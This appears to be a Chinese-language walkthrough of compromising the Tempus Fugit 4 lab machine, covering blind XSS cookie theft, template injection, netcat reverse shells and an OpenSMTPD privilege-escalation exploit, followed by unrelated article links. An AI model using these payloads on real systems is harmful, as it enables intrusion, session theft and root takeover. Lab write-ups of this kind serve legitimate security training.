从盲打xss到到模板注入:unix靶机渗透之Tempus_fugit4

靶机总结

盲打xss openBSD渗透 SSTI模板注入 opensmtpd

信息搜集

复制代码
nmap -sT --min-rate 10000 192.168.8.253 -p-
复制代码
nmap -sT -sC -sV -O 192.168.8.253 -p22,80 

操作系统竟然是openBSD( 一个注重安全和稳定的多平台类UNIX操作系统 )

复制代码
nmap --script=vuln 192.168.8.253 -p80

发现一个admin目录

盲打xss

发现一个表单申请提交,尝试一下盲打xss盗取管理员的cookie

先启动kali的apache2

打印apche2日志

复制代码
systemctl start apache2
tail -f /var/log/apache2/access.log

注入xsspayload

复制代码
<img src=x onerror="this.src='http://192.168.8.251/?cookie='+document.cookie">

拆解这个 Payload

  <img src=x          ← src=x 是一个故意写错的 URL,浏览器加载失败
       onerror="..."  ← 加载失败时触发 onerror 事件,执行其中的
  JavaScript

  JavaScript 部分:
  this.src = 'http://192.168.8.251/?cookie=' + document.cookie
       ↓
  把 <img> 的 src 改成攻击机地址,并把 cookie 拼接到 URL 后面
       ↓
  浏览器向 http://192.168.8.251/?cookie=session=.eJwsafefew...
  发起请求

  为什么会成功?

  关键点在于 document.cookie 的读取权限:
  - 如果目标 Cookie 没有设置 HttpOnly 标志,JavaScript 可以直接读取
  - HttpOnly 是防御 XSS 窃取 Cookie 的核心机制,但很多应用遗漏此配置
复制代码
.eJwlj0uKAzEQQ-_idRb1s8vOZRp3fUgIJNCdrIa5ewxBO4knpL-y5RHnrVzfxycuZbt7uRYi6N1lsGFIaDoMs1HBskKnBLcp2kz2RhUrGyHxshoP2WFKGArs0yBsqY1whgxwxZZsPDoQI6P3xubqQBSU0kfm7ORdqFyKnUdu79cjnmtP06CuEDxjelS1WnF4ZV3FK1LHJuwoi_uccfxOSPn_AoaTPnc.akcWsQ.QWTix88hO31689Zy-BNIIlCkRZw

抓取数据包替换cookie

替换

成功登录后台

查看管理员访问日志,取到管理员的cookie

复制代码
Auth=R3JhbnRlZA==; 

加上Auth

SSTI模板注入

整了半天,命令窗口无法交互

观察历史数据包,在admin页面似乎有个auth回显

注入点测试

复制代码
{{6*7}}

base64编码一下,果然有回显

注入点配置

复制代码
config

命令注入

复制代码
 {{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}

命令回显

openBSD反弹shell

但是之前探测到靶机的系统是openBSD

利用msf生成payload (Only 80 and 443 are allowed out the openBSD firewall )

复制代码
msfvenom -p cmd/unix/reverse_netcat lport=443 lhost=192.168.8.251
复制代码
 {{ request.application.__globals__.__builtins__.__import__('os').popen('mkfifo /tmp/aeqtmgv; nc 192.168.8.251 443 0</tmp/aeqtmgv | /bin/sh >/tmp/aeqtmgv 2>&1; rm /tmp/aeqtmgv').read() }}

成功反弹

msf接收shell

提权

opensmtpd提权

复制代码
netstat -ant|grep LISTEN

发现有一个邮件服务,有提权漏洞

payload还需要一个邮箱域名,正好在js文件中泄露了

手工测试漏洞

复制代码
helo test
250 TempusFugit4 Hello test [10.13.37.1], pleased to meet you
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
250 2.0.0 Ok
RCPT TO:<root@mofo.org>
250 2.1.5 Destination address valid: Recipient ok
data
354 Enter mail, end with "." on a line by itself
From: test@test.com
To: root@mofo.org
Subject: x

0
1
2
3
4
5
6
7
8
9
a
b
c
d
id > /tmp/pwn.txt
.
250 2.0.0 3418f88a Message accepted for delivery
Connection closed by foreign host.

查看回显pwn.txt,说明漏洞存在

反弹shell

复制代码
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.8.251 80 >/tmp/f

成功提权

相关推荐
JavaGuide1 小时前
又一个画图 Skill 开源,再见手动画 draw.io!
前端·后端·github
一只猫的梦2 小时前
AI 适配器架构
前端·chrome
谭光志2 小时前
AI 是怎么操作浏览器的——browser use 实现原理
前端·javascript·ai编程
weixin_471383032 小时前
args,...args与Parameters<T>
开发语言·前端
一tiao咸鱼3 小时前
前端转 agent # 03 - Pydantic v2 数据校验深入
前端·后端
Cobyte3 小时前
23.Vue Vapor 组件 attrs 的实现
前端·javascript·vue.js
前端H3 小时前
生成式 UI 实战:AI 如何重塑前端界面
前端·人工智能·ui
懂懂tty3 小时前
Web前端性能指标
前端
绝世唐门三哥4 小时前
vue3中页面返回时刷新首页的处理方案
开发语言·前端·javascript